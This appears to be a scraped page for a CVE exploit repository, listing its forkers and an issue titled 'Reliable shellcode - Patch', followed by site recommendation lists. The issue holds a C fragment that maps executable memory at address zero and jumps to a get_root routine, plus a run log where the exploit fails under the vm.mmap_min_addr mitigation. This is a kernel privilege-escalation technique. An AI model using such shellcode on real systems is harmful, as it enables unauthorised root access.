cve's People
Forkers
xer juananpe security-geeks alessiodallapiazza shantanu561993 cjjduck yeyintminthuhtut expertasif demonsec666 kaicastledine thetraker idkwim incredibleindishell liggle123 c0de3 ww9210 xieqiwen1993 alberthchang zhouat blademist 16125172 cnuwhe de8gman1990 laxa ykankaya sploitamos gdraperi lokinglz lochv ashr magma2 myexploite bb33bb arunasindhuja-peri orf53975 sherlly beyondcy demesnegh awsl404 imulmul mhmohammadirad cve-vuln liuyukua15 wangdircpu bloodandwolf tharana ash1n2 functfan zzcentury anonopsbuilds firefoxxpyang 8091223251 werwolfzcve's Issues
Reliable shellcode - Patch
char*mem = mmap(NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0);
mem[0] = '\xff';
mem[1] = '\x24';
mem[2] = '\x25';
*(unsigned long *)&mem[3] = 8;
*(unsigned long *)&mem[8] = (unsigned long)get_root;
vm.mmap_min_addr = 65535
default kernels vm.mmap_min_addr = 65535
vm.mmap_min_addr = 65535
./exploit 0xffffffff81f3f45a
/ # su tutu
/ $ ./exploit 0xffffffff81f3f45a
[+] Find prepare_kernel_cred...
[+] Found prepare_kernel_cred at ffffffff810753d0
[+] Find commit_creds...
[+] Found commit_creds at ffffffff81075050
[+] Try to allocat 0x00000000...
[-] Failed to allocat 0x00000000
/ $ id
uid=1001(tutu) gid=1001(tutu) groups=1001(tutu)
/ $
Ooops
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. ๐๐๐
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google โค๏ธ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.